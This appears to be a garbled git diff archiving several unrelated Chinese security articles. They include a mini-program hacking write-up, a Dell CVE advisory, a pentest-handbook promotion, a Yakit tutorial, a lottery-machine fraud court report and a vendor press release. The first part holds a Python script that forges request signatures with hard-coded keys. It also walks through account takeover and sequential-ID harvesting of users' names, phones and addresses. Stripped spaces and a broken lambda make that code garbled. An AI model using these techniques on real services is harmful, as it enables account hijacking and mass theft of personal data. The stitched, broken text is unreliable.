decryptData=lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ%3D%3D&sessionKey=sRfHDswxxxxxxxxxxxx%3D%3D&iv=RpwxxxxxxxxxxxxzPQyTA%3D%3D
|
||||
“””
|
||||
params = request_data.split(‘\n’)
|
||||
formatted_output = {“key”: “B272F43387B8504C”}
|
||||
foriteminparams:
|
||||
ifitem.startswith(‘Timestamp: ‘):
|
||||
timestamp_value = item.split(‘Timestamp: ‘)[1]
|
||||
formatted_output[‘timestamp’] = timestamp_value
|
||||
timestamp = timestamp_value
|
||||
datas = params[-2]
|
||||
params_list = datas.split(‘&’)
|
||||
forparaminparams_list:
|
||||
key, value = param.split(‘=’, 1)
|
||||
value = urllib.parse.unquote(value)
|
||||
formatted_output[key] = value
|
||||
str1 = []
|
||||
forkey, valueinformatted_output.items():
|
||||
str1.append(key+value)
|
||||
sorted_str1 = sorted(str1, key=lambdas: s[0])
|
||||
str2 = “”
|
||||
forvainsorted_str1[::-1]:
|
||||
str2 += va
|
||||
str2 += “70BAE8B491362AB39042B77C7653199D”
|
||||
mac = hmac.new(key=timestamp.encode(), msg=str2.encode(),digestmod=hashlib.md5)
|
||||
mac.digest()
|
||||
str_encode = mac.hexdigest().upper()
|
||||
print(str_encode)
|
||||
```
|
||||
|
||||
|
||||
这里给出数据包,就自动提取参数,然后加密。
|
||||
## 再次挖掘
|
||||
### 用户接管漏洞
|
||||
|
||||
现在sign有了,我们最开始的任意用户绑定登录就可以拿下了。使用两个账号,实现一个正常用户登录,另一个攻击者来接管这个账号。
|
||||
|
||||
正常用户注册登录如下
|
||||
|
||||

|
||||
|
||||
攻击者在获取手机号的时候截取数据包。
|
||||
|
||||

|
||||
|
||||
通过sessionkey来修改登录的数据包,然后通过脚本生成sign缀
|
||||
|
||||

|
||||
|
||||
然后登录,可以直接接管正常用户的数据。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以看到我现在不是19开头的,但是我可以登录19的账号,实现接管,并修改账号名。
|
||||
### 信息泄露
|
||||
|
||||
除此之外,有了sign值,可以看一下其他漏洞,这里还发现了一个用户信息泄露(图片比较模糊,重点是提供一个思路)。
|
||||
|
||||
在购物车下订单,我们可以获取订单信息,这里是生成订单的时候有一个addressId,假设我们可以获取别人的值,是不是可以造成别人的敏感信息泄露,手机号,姓名,家庭地址。
|
||||
|
||||

|
||||
|
||||
在这里我们生成订单,然后不要支付,点击我的订单然后抓包
|
||||
|
||||

|
||||
|
||||
查看订单然后抓包
|
||||
|
||||

|
||||
|
||||
这里可以看到别人的订单信息了,这里的addressId是按顺序生成的,所以可以看到所有人的敏感信息,但是由于限制了订单,所以我们要先下单—修改id—查看信息—取消—下单这样循环才可以看到全站人的信息。这里写一个脚本处理其实就可以了,sign的获取通过配合前面的脚本,然后生成就好了。
|
||||
|
||||
这个小程序的漏洞就看了两个,主要就是一个sign的加密解密逻辑和小程序漏洞挖掘而已,如果有说的不对的,恳请各位师傅们批评指正!!!
|
||||
###
|
||||
|
||||
|
||||
本文内容来自网络,如有侵权请联系删除
|
||||
|
||||
转载地址:https://www.anquanke.com/post/id/297719
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
个人微信:ivu123ivu
|
||||
|
||||
|
||||
**各 类 学 习 教 程 下 载 合 集**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
https://pan.quark.cn/s/8c91ccb5a474
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
# 【漏洞预警】Dell NetWorker权限提升漏洞(CVE-2024-42422)
|
||||
飓风网络安全 2024-12-03 15:20
|
||||
|
||||

|
||||
|
||||
**漏洞描述:**
|
||||
Dеll NеtWоrkеr,版本1910包含一个通过用户控制的密钥绕过授权的漏洞,未经认证的攻击者如果能够远程访问,可能会利用这个漏洞导致信息泄露,攻击者可能通过远程访问,利用用户控制的密钥绕过授权,导致信息泄露。**影响产品:**N/A<=NetWorker<19.10.0.619.11<=NetWorker<=19.11.0.2 **修复建议:****建议措施:**更新NetWorker版本到19.10.0.6或19.11.0.3以上,限制远程访问权限,使用加密机制保护数据传输,并加强输入验证。**参考链接:**https://www.dell.com/support/kbdoc/en-us/000255892/dsa-2024-478-security-update-for-dell-networker-vulnerabilities
|
||||
@@ -0,0 +1,92 @@
|
||||
# 【珍藏版】渗透测试手册,简直太赞了!
|
||||
点击关注👉 马哥网络安全 2024-12-03 09:01
|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
,后台回复
|
||||
【
|
||||
合集
|
||||
】
|
||||
获取
|
||||
网安资源
|
||||
|
||||

|
||||
|
||||
渗透测试是一种安全性测试,会发起模拟网络攻击以查找计算机系统中的漏洞。
|
||||
|
||||
今天学习一款现面向所有安全爱好者的开源渗透测试手册,涵盖**「信息收集」,「漏洞攻击」,「中间件安全」,「常见提权」,「工具使用」,「权限维持技术」,「内网渗透技术」,「脚本开发」,「系统命令」,「反弹shell备忘录」**等,非常实用。
|
||||
|
||||
|
||||
1
|
||||
|
||||
目录展示
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
2
|
||||
|
||||
比较部分内容展示
|
||||
|
||||
本手册开源,适合安全的爱好者,工作者使用,能很好的帮助梳理渗透思路,以及渗透各个流程的补充,协助渗透工程师完成渗透任务,也可以作为一款学习手册面向所有的白帽子。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
笔记源自Gaobai文库,PDF仅用于免费学习交流分享
|
||||
|
||||
(如有侵权请联系删除)
|
||||
|
||||
**笔记如何领取?**
|
||||
|
||||
请扫描下方二维码,加我好友
|
||||
|
||||
备注:【131页渗透测试】
|
||||
|
||||
100%可以免费领取成功
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**今日福利**
|
||||
|
||||
|
||||
2024年最后一次优惠活动!
|
||||
|
||||
🎈现金直降4800!额外领取三大福利:
|
||||
|
||||
|
||||
实战工具包Plus(七选二)
|
||||
|
||||
品牌礼品直接送(任选其一)
|
||||
|
||||
增值服务:vip学习服务大礼包
|
||||
|
||||
|
||||
👉后续全年无此活动!
|
||||
|
||||
有考虑的课程,一定要及时把握!
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
▲扫描上方二维码
|
||||
|
||||
了解活动详情及安全课程
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
# 单兵漏洞测试工具 -- Yakit
|
||||
W4nk3r Web安全工具库 2024-12-03 16:01
|
||||
|
||||
Yakit,一个集成化的单兵漏洞测试工具,也是我用起来较为顺手的一个测试工具,
|
||||
|
||||
今天想从最基本的环境配置到漏洞挖掘中的实战一步步进行讲解
|
||||
|
||||
环境配置:yakit提供两种mitm中间人攻击环境配置
|
||||
|
||||
一种是无环境配置,另一种是有环境配置
|
||||
|
||||
无环境配置:电脑上下载谷歌浏览器,然后点击免配置启动,直接可以抓取数据包,可谓很方便了
|
||||
|
||||

|
||||
|
||||
有环境配置:这一步和burp操作一模一样
|
||||
|
||||
首先,下载证书
|
||||
|
||||

|
||||
|
||||
然后,打开火狐浏览器的设置,输入net,这一步设置我们的代理
|
||||
|
||||

|
||||
|
||||
设置如下
|
||||
|
||||

|
||||
|
||||
下载插件,找到这个变蓝的代理插件,第一个推荐的代理插件也可以使用,看个人喜好
|
||||
|
||||

|
||||
|
||||
进行如下设置,名字可以随便起一个很好辨认的
|
||||
|
||||

|
||||
|
||||
最后一步,导入证书,设置->隐私与安全->查看证书
|
||||
|
||||

|
||||
|
||||
这一步点击导入,找到你下载证书的文件,点击导入后然后会出现两个选项,都选,不然有概率出现抓不到包的情况
|
||||
|
||||

|
||||
|
||||
OK,大功告成,这里可以看到我们抓取的流量
|
||||
|
||||

|
||||
|
||||
tips:有师傅可能会出现白茫茫(打开页面一片白),但是能抓取流量,这里可以看一下插件的配置是不是将http设置为https了
|
||||
|
||||
|
||||
实战
|
||||
|
||||
FUZZ(模糊测试),点击这个按钮,可进行数据包重放,查看回显,通过向目标网站发送可导致漏洞的数据并监视异常结果来发现网站的漏洞
|
||||
|
||||

|
||||
|
||||
Codec
|
||||
|
||||
这里可以将代码进行加密,一般在设有waf的网站进行绕过操作的时候将代码进行加密处理,同时也可以将获取的token值或者疑似身份认证的值尝试解密
|
||||
|
||||

|
||||
|
||||
编码与解码,快速加解密的工具,跟Codec作用差不多,不过可以直接复制粘贴
|
||||
|
||||

|
||||
|
||||
|
||||
该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。
|
||||
|
||||
转载地址:https://www.anquanke.com/post/id/300674
|
||||
|
||||
|
||||
**各 类 学 习 教 程 下 载 合 集**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
https://pan.quark.cn/s/8c91ccb5a474
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
# 自助彩票机成“提款机”?3人利用系统漏洞窃取220余万元
|
||||
检察日报 商密君 2024-12-03 14:05
|
||||
|
||||
近年来,自助彩票机广受年轻消费者喜爱,是一种新型彩票销售方式。它分布范围广,购买便利,24小时服务。消费者可以随时在自助彩票机上买到自己喜欢的彩票产品。其中即开型彩票,就是俗称的“刮刮乐”,是最受年轻人追捧的彩票类型。没想到,于某、黄某、李某竟利用自助彩票机系统延迟的漏洞,窃取资金220余万元,给相关企业造成了巨大财产损失。
|
||||
|
||||
|
||||
10月25日,经山东省济南市历城区检察院提起公诉,法院以盗窃罪判处于某、黄某、李某有期徒刑十年六个月至一年三个月,并处罚金10万元至6000元。
|
||||
|
||||
|
||||
|
||||
**偶然发现系统漏洞**
|
||||
|
||||
**意外获取“财富密码”**
|
||||
|
||||
|
||||
彩票中奖本是一个小概率事件,但如果掌握了一种方法,可以让你有利可得,你是否会心动?这听起来仿佛不可思议,但却真实发生了。
|
||||
|
||||
|
||||
于某与黄某原是同事,两人都有购买彩票的爱好,闲暇之余经常相约在山东省莱阳市某广场旁的自助彩票机购买“刮刮乐”。2022年4月的一天,于某像往常一样到自助彩票机购买“刮刮乐”彩票,他先是选择购买一张“刮刮乐”,后随即取消,当再次选择购买多张时,发现此时的付款二维码仍是一张“刮刮乐”的价格。发现“商机”的于某当机立断,用一张“刮刮乐”的价格购买到了多张“刮刮乐”。
|
||||
|
||||
|
||||
尝到甜头的于某将这个“好事”告诉了黄某。在之后的一个月里,于某、黄某二人利用系统更换收付款二维码存在延迟的漏洞,在多台自助彩票机上多次低价购买“刮刮乐”彩票。
|
||||
|
||||
|
||||
2022年5月的一天,黄某在自助彩票机购买彩票时,经过大胆尝试,
|
||||
发现利用自助彩票机的付款延时漏洞,
|
||||
还可以用购买一张“刮刮乐”的价格购买价格更高的3D复式彩票,再利用3D复式彩票不易出票的特点,
|
||||
以未出票为由申请退款,将3D复式彩票的价款退至自己的微信账户上。
|
||||
这次尝试让黄某获利200余元,黄某大喜,赶忙将这个意外之“喜”告诉了于某。
|
||||
|
||||
|
||||
刚开始,于某和黄某还比较谨慎,尝试退款的金额比较小。随着时间的推移,看到钱来得如此容易,于某和黄某的胆子逐渐大了起来,两人心中的贪念一发不可收,利用自助彩票机系统漏洞退款的金额越来越大,频率也越来越高。二人不再满足几十元、几百元的小额退款,而是通过选择多倍投注的方式,开始了一次又一次数千元乃至上万元的退款。
|
||||
|
||||
|
||||
据此,于某和黄某不仅还上了之前的网贷,还经常出入高档娱乐场所消费,唱歌、蹦迪、玩游戏……钱花光了,他们就到自助彩票机退款,俨然将自助彩票机变成了二人的“自助取款机”。
|
||||
|
||||
|
||||
2023年7月的一天,黄某的好友李某见黄某吃喝玩乐出手阔绰,便询问其“致富”秘诀,黄某就告诉了李某,并和李某一起利用自助彩票机系统漏洞实施退款1万余元。
|
||||
|
||||
|
||||
**业务停止发现漏洞**
|
||||
|
||||
**非法取财终被抓获**
|
||||
|
||||
|
||||
|
||||
至2023年7月,经粗略估算,于某、黄某二人各自在自助彩票机上退款的金额均已累计超过100万元,两人深知犯罪行为迟早会被发现,于是停止了退款行为。
|
||||
|
||||
|
||||
2023年12月,为促进彩票市场安全规范发展,山东省福利彩票发行中心决定在全省范围内停止自助彩票机办理彩票销售和兑奖业务。此时,某公司经过对账发现,其投放在山东省莱阳市的多台自助彩票机的账单存在220余万元的资金漏洞。
|
||||
|
||||
|
||||
“一年多的时间里,公司账单上竟然多了400多笔退款,每笔退款金额从几百元到上万元不等,这肯定是有人恶意利用漏洞套现!”损失惨重的某公司发现问题后,立刻报了警。
|
||||
|
||||
|
||||
济南市公安局历城区分局接警后,立即展开行动。因犯罪行为发生在莱阳,公安机关对于案件管辖问题产生了疑问。
|
||||
|
||||
|
||||
“我们通过侦查监督与协作配合办公室得知此情况后,建议公安机关向某公司了解自助彩票机的运行原理,最终确认了被害单位财产损失结果的实际发生地是某公司所在的济南市历城区,即认定济南市公安局历城区分局有管辖权。”历城区检察院刑事检察部门负责人徐海磊介绍说。
|
||||
|
||||
|
||||
公安机关经过侦查,于2024年5月14日将于某、黄某、李某全部抓获归案。
|
||||
|
||||
|
||||
经查发现,
|
||||
在短短一年多的时间里,于某、黄某等人利用自己及朋友的数十个微信账号,在多台自助彩票机实施退款400余笔,金额高达225万元。
|
||||
|
||||
|
||||
**依法介入深挖犯罪事实**
|
||||
|
||||
**引导侦查突破案件难点**
|
||||
|
||||
|
||||
|
||||
因于某、黄某平时就有购买彩票的习惯,其作案时使用的数十个微信账号交易记录中,有数千笔与福利彩票相关。可哪一笔是正常的购买彩票及兑奖记录?哪一笔是利用自助彩票机系统漏洞实施退款的记录?
|
||||
|
||||
|
||||

|
||||
|
||||
检察官依法对犯罪嫌疑人进行
|
||||
讯问。
|
||||
|
||||
|
||||
应公安机关邀请,检察机关依法介入,引导侦查取证。检察机关建议公安机关通过多种途径获取涉案的全部微信记录,补充山东省福利彩票发行中心与某公司的对账单据及多份与数额相关的证人证言,使该案的涉案数额和非法获利数据得以准确认定。
|
||||
|
||||
|
||||
掌握以上确凿证据后,6月20日,济南市历城区检察院依法对犯罪嫌疑人于某、黄某作出批准逮捕决定。8月20日,公安机关将于某、黄某、李某三人移送检察机关审查起诉。
|
||||
|
||||
|
||||

|
||||
|
||||
办案组成员对案件情况进行讨论。
|
||||
|
||||
|
||||
“在审查起诉过程中,关于该案的定性一度成为我们的争议焦点。该案不同于传统接触性盗窃,系利用机器系统漏洞实施的犯罪行为,将该案定性为盗窃罪或是诈骗罪,在法学理论与实务界存在诸多观点。”办案检察官向记者介绍说。
|
||||
|
||||
|
||||

|
||||
|
||||
召开检察官联席会,对案件定性、处理进行集体研究。
|
||||
|
||||
|
||||
历城区检察院检察官联席会议对该案进行集体讨论后,一致认为:
|
||||
区分盗窃罪和诈骗罪的关键,在于盗窃罪是取得型犯罪,违背权利人的意志;而诈骗罪是交互型犯罪,需要被骗人陷入认识错误,进而自愿处分财产。
|
||||
该案中,于某、黄某、李某利用自助彩票机的网络延迟漏洞实施退款,虽然看似由自助彩票机主动退款,实则是违背被害单位意志的系统错误行为,因而是一种违背被害单位意志主动取得财物的行为,符合盗窃罪的犯罪构成。
|
||||
|
||||
|
||||
在犯罪数额认定方面,办案检察官在充分掌握相关证据的基础上,对每个涉案人员的涉案金额都进行了全面分析。根据梳理的犯罪事实,检察官认定于某、黄某实施的犯罪行为有两种情形:一种是直接将大额彩票的金额退款至微信账户,另一种是用大额彩票的退款金额再次购买彩票。针对这两种情形,检察官确定了于某和黄某犯罪数额的计算方式。经过对于某、黄某、李某使用的全部涉案微信交易记录与被害单位提供的彩票退款记录、对账单进行比对,最终确定于某的犯罪数额为117.4万余元,黄某的犯罪数额为104.9万余元,李某的犯罪数额为4.3万余元。
|
||||
|
||||
|
||||
9月20日,历城区检察院将该案起诉至法院,三名被告人及其辩护人对于检察机关认定的犯罪事实、罪名及提出的量刑建议均表示认可,三名被告人自愿认罪认罚。法院经审理认为,检察机关指控的犯罪事实清楚,证据确实、充分,罪名成立,于10月25日作出一审判决:以盗窃罪判处于某有期徒刑十年六个月,并处罚金10万元;以盗窃罪判处黄某有期徒刑十年五个月,并处罚金10万元;以盗窃罪判处李某有期徒刑一年三个月,缓刑一年六个月,并处罚金6000元。三名被告人均未提出上诉,目前判决已生效。
|
||||
|
||||
|
||||

|
||||
|
||||
该案庭审现场,被告人于某、黄某在作最后陈述。
|
||||
|
||||
|
||||
“我太后悔了,自己一时的贪念、一年的挥霍,换来了十年的牢狱生活,还连累了朋友,这个教训太惨痛了。今后我一定好好改造,改过自新、遵纪守法,再也不会不劳而获、贪小便宜。”庭审过程中,被告人于某的话语中满是悔恨。被告人黄某、李某也表示今后将吸取教训,脚踏实地,靠自己的双手勤劳致富。
|
||||
|
||||
|
||||
编辑:陈十九
|
||||
|
||||
审核:商密君
|
||||
|
||||
**征文启事**
|
||||
|
||||
大家好,为了更好地促进同业间学术交流,商密君现开启征文活动,只要你对商用密码、网络安全、数据加密等有自己的独到见解和想法,都可以积极向商密君投稿,商密君一定将您的声音传递给更多的人。
|
||||
|
||||
|
||||

|
||||
|
||||
来源:检察日报·明镜周刊
|
||||
|
||||
注:内容均来源于互联网,版权归作者所有,如有侵权,请联系告知,我们将尽快处理。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
点分享
|
||||
|
||||

|
||||
|
||||
点点赞
|
||||
|
||||

|
||||
|
||||
点在看
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
# 荣获最佳实践案例,网易易盾发力央国企合规内控数字化
|
||||
网易易盾 2024-12-03 10:46
|
||||
|
||||

|
||||
|
||||
上周,“2024爱分析·央国企数字化最佳实践案例”评选活动落下帷幕。
|
||||
|
||||
数字化咨询机构爱分析对央国企在落地过程中面临的需求与挑战、具体的解决方案、平台落地后的效果,以及相应的建设经验进行详细的研究与评估,经过申报、初评、调研、终评多轮角逐,最终评选出本年度12个具有参考价值的创新案例。
|
||||
|
||||
其中,上海申通地铁集团有限公司联合网易易盾成立的“上海地铁AI应用孵化创新工作室”推出的“基于AI技术PIS系统内容审核系统”成功入选,成为榜单中
|
||||
**唯一一个在数字内容风控场景下助力央国企数字化的最佳实践案例**。
|
||||
|
||||

|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**共建千万乘客安全智行体验**
|
||||
|
||||
央国企的信创数字化转型是基于国家信息安全和自主创新的战略需求,旨在通过采用国产软硬件和新一代信息技术(如云计算、大数据、人工智能等),全面提升企业的数字化、网络化和智能化水平。
|
||||
|
||||
这一转型不仅是为了应对信息安全挑战和国际竞争压力,还通过国产化基础设施的替代和技术生态的构建,推动企业自主创新,优化业务流程与管理模式,进而提升核心竞争力。
|
||||
|
||||
转型过程需要分阶段、分层次地推进,确保系统平稳过渡、合法合规,同时通过央国企的示范作用带动行业整体进步。
|
||||
|
||||
在地铁出行的场景中,城市轨道交通乘客信息服务系统(简称:PIS系统)会显示列车的到站时间、终点站以及车厢拥挤情况,帮助乘客做出候车决策。随着国内对于公众屏幕内容安全重视,
|
||||
**对于拥有数千块PIS显示屏的城市轨道交通场景,自动化内容审核的需求越发强烈**。
|
||||
|
||||
耗时5个月后,上海申通地铁集团有限公司联合网易易盾成立的“上海地铁AI应用孵化创新工作室”推出的“基于AI技术PIS系统内容审核系统”已正式上线,并投入使用。
|
||||
|
||||
在推进“PIS系统内容审核系统”研究过程中,
|
||||
**“上海地铁AI应用孵化创新工作室”各成员单位基于AI+安全理念,联合打造了城市轨道交通乘客信息服务系统(PIS)智能内容审核系统**。该系统深度挖掘了大语言模型在城市轨道交通行业的应用潜力,探索其在内容智能检索、自动实时对标以及应急决策处理等方面的应用,并完成研发任务及产品化能力。
|
||||
|
||||

|
||||
|
||||
上海申通地铁基于AI技术的PIS系统内容审核系统在建设成功后,可以实时获取系统中传递的原始视频流,检测画面中是否包含色情、涉政、暴恐、辱骂等不良内容,确保信息传播的正面影响。一旦发现非安全内容,根据违规内容的疑似程度做出包括直接熔断、告警等不同级别的响应操作。
|
||||
|
||||
并且,通过实时获取PIS系统中的媒体信息,利用AI技术智能识别信息内容,确保信息传播的正面影响。
|
||||
**系统的整体反应速度在5-10秒以内,有效解决了人工审核工作量大、判断标准主观、处置反应速度慢的问题**。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**服务央国企数字内容安全走深向实**
|
||||
|
||||
近年来,网易易盾在服务央国企数字化转型方面增加人力物力投入,
|
||||
**除交通出行行业外,还在金融、运营商、广电传媒等行业场景已深度服务大量央国企客户**,助力其在数字内容风控乃至网络安全场景下向深向实转型。
|
||||
|
||||
以金融行业为例:
|
||||
|
||||
金融业因其特殊性,在数字化的过程中,除了需要遵循《广告法》、《消费者权益保护法》等外,还需要特别遵循《中华人民共和国证券法》、《中华人民共和国证券投资基金法》、《中国人民银行金融消费者权益保护实施办法》等特定法律法规。
|
||||
|
||||
因此,金融业的数字内容风控需要更专业的合规安全服务。
|
||||
|
||||
一般来说,金融行业数字内容安全的典型场景包括自媒体账号监测、理财营销、商品详情、文章及评论、金融客户资料、理财直播间等。
|
||||
|
||||

|
||||
|
||||
**自媒体账号监测**
|
||||
|
||||
:网易易盾提供对公众号、网站、微博、抖音等自媒体渠道内容安全风险的主动监控,通过设置监控任务、实时报告预警实现7*24小时主动风控,并配置
|
||||
最新法规策略更新、时政舆情信息策略同步、个性化监控策略调整等运营策略。
|
||||
|
||||
**理财投资咨询**
|
||||
:该场景下,网易易盾布控范围主要围绕在不文明用语、涉嫌欺诈、黄暴政、荐股、虚假夸大、误导性语言等,以帮助投顾咨询实现安全对话。
|
||||
|
||||
**商品详情**
|
||||
:理财产品页面,网易易盾专家解读相关政策,全面布控金融保险、理财领域广告营销策略,智能引擎实时检测违规内容,保障金融产品广告内容合规,避免安全风险。此外在购物商城页面,网易易盾通过图片OCR,支持对文本中限时性用语、涉嫌诱导消费者、涉嫌欺诈消费者、法律风险较高、极限词、广告法其他等精细化分类检测。
|
||||
|
||||
**文章及评论**
|
||||
:主要对理财资讯文章及留言、商城买家留言评论、涉及内容违规、低俗、灌水、广告导流、平台负面等进行风控管理。
|
||||
|
||||
**金融客户资料**
|
||||
:对用户昵称和头像进行严密风控,尤其涉政涉黄等。
|
||||
|
||||
**理财直播间**
|
||||
:主要针对主播言行和粉丝评论围绕涉政、色情、不良价值观、广告导流等进行重点布控,并且提供房间热度监控、黑屏挂机检测、弹幕实时过滤、人脸检测分析、房间名过滤等各项细节风控服务。
|
||||
|
||||
此外,金融作为事关国家民生的重要行业,需要保证信息化核心技术安全可控。
|
||||
|
||||

|
||||
|
||||
网易易盾所提供的AI内容审核方面的相关研究能力和软件技术,
|
||||
**极大程度地适配了国产化需求,这有助于避免在关键技术领域受到外部限制和制裁**,保障国家安全和经济发展,包括:
|
||||
|
||||
应用层代码已适配完成;昇腾GPU已完成大部分审核模型适配;CPU已适配海光、鲲鹏;操作系统已适配欧拉、麒麟;数据库已适配TiDB、腾讯数据库。
|
||||
|
||||
除了全面信创兼容外,深耕金融行业数字内容风控多年,网易易盾积累的行业与技术优势亦显著位居行业前列:
|
||||
|
||||
**1.对齐监管尺度。**
|
||||
搜集第一时间监管处罚动态,入案例库供模型学习,能够准实时响应监管拦截查删要求。
|
||||
|
||||
**2.贴近场景,风控效果显著。**
|
||||
提供数十个行业专属策略集,响应迭代快。除违法和不良信息检测,还可自定义合规内控检测策略。
|
||||
|
||||
**3.风险对抗经验丰富,敏捷作战。**
|
||||
境外负面信息倒灌实时搜集。国内重大活动、敏感时期策略布控。
|
||||
|
||||
随着金融行业数字化转型的深入,开放、敏捷、智能成为各大金融机构建设网络安全的要求和目标。网易易盾的金融行业数字内容风控解决方案已实践多年,
|
||||
**服务客户包括几十家头部券商、银行、基金公司**。
|
||||
|
||||
面对经济增长压力、外部环境的不确定性,央国企作为我国经济体系的主力军、排头兵,肩负着经济发展、稳固政治和服务社会的使命担当,亟需借助数字化转型推动组织创新、技术创新、管理创新,培育具有全球竞争力的世界一流企业,加快构建高质量发展新格局。
|
||||
|
||||
作为服务央国企数字化转型的服务商,网易易盾将利用最新信息化技术,围绕
|
||||
**安全产品、安全服务、安全运营**等环节的创新,不断迭代升级数字内容安全方案,助力央国企在数字内容安全领域内的转型走深向实。
|
||||
|
||||
|
||||
|
||||
—— END ——
|
||||
|
||||
**/ 关于我们 /**
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**干货资料 免费领取**
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**扫描下方二维码即可****免费领取!**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
Reference in new issue
Block a user